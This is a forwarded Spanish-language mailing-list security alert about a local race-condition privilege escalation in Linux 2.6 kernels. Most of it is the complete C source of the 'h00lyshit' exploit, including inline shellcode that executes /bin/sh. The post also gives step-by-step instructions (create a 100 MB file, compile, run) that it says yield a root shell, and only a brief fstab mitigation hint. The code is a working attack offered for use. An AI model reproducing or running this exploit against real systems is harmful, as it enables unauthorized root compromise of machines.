[eside-ghost] aviso de seguridad - importante ver EXPLOIT adjunto

[ignacio bermudez]

hola lista, 
envio este fordward de otra lista, una de la universidad tecnica federico sta 
maria, en chile.
Es muy importante alertar sobre este fallo de seguridad que afecta al parecer 
a todas las distros que hay, creo que por lo que lei debian y ubuntu han 
sacado parches hace poco.

hay les va..

hola lista.... arreglar fstab



proc            /proc           proc    defaults        0       0

agregarlo a la primera linea.... si ya esta... no hay de q preocuparse
prueba:
crear archivo de 100 mg enb la home del user
yes > xxx
luego compilar
gcc -o archivo source.c
ejecutar
./archivo xxx
y listo !! estas como root

bajo amd64 no corre pero si me funciono en un sarge i386 pero los instalados 
hace una semana no pasa nada.... (via net install)


*
** Author: h00lyshit
** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
** Compile:
** gcc h00lyshit.c -o h00lyshit
**
** Usage:
** h00lyshit <very big file on the disk>
**
** Example:
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
**
** if y0u dont have one, make big file (~100MB) in /tmp with dd
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/*      h00lyshit shell code            */
__asm__ ("      __excode:       call    1f                      \n"
         "      1:              mov     $23, %eax               \n"
         "                      xor     %ebx, %ebx              \n"
         "                      int     $0x80                   \n"
         "                      pop     %eax                    \n"
         "                      mov     $cmd-1b, %ebx           \n"
         "                      add     %eax, %ebx              \n"
         "                      mov     $arg-1b, %ecx           \n"
         "                      add     %eax, %ecx              \n"
         "                      mov     %ebx, (%ecx)            \n"
         "                      mov     %ecx, %edx              \n"
         "                      add     $4, %edx                \n"
         "                      mov     $11, %eax               \n"
         "                      int     $0x80                   \n"
         "                      mov     $1, %eax                \n"
         "                      int     $0x80                   \n"
         "      arg:            .quad   0x00, 0x00              \n"
         "      cmd:            .string         \"/bin/sh\"     \n"
         "      __excode_e:     nop                             \n"
         "      .global         __excode                        \n"
         "      .global         __excode_e                      \n"
        );



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/*      exploit this shit       */
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf ("\ntrying to exploit %s\n\n", file);
  fflush (stdout);
  chmod ("/proc/self/environ", 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 
0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  if (p == MAP_FAILED)
    error ("mmap");
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, "/proc/%d/environ", getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {               
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();   
    }
  else
    {
            nice(10);
            while (!(*c));
                sched_yield ();
      execve (t, a, e);
      error ("failed");
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac < 2)
    error ("usage: binary <big file name>");
  if (ac > 2)
    exploit (av[2]);
  printf ("\npreparing");
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i < s; i++)
    {
      if (!p[i])
        {
          e[j++] = &p[k];
          k = i + 1;
        }
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, "/");
  strcat (t, av[0]);
  execve (t, a, e);
  error ("execve");
  return 0;
}



-- 
_______________________________________________
Felipe Tornvall N.              lu: 400327
w: http://freeby.pctools.cl     
w: http://docs.pctools.cl
w: http://linux.pctools.cl

-- 
Ignacio Bermúdez
Linux User:	414540
Labproce - Laboratorio de Microprocesadores, EIE, PUCV
http://ignacio.labproce.net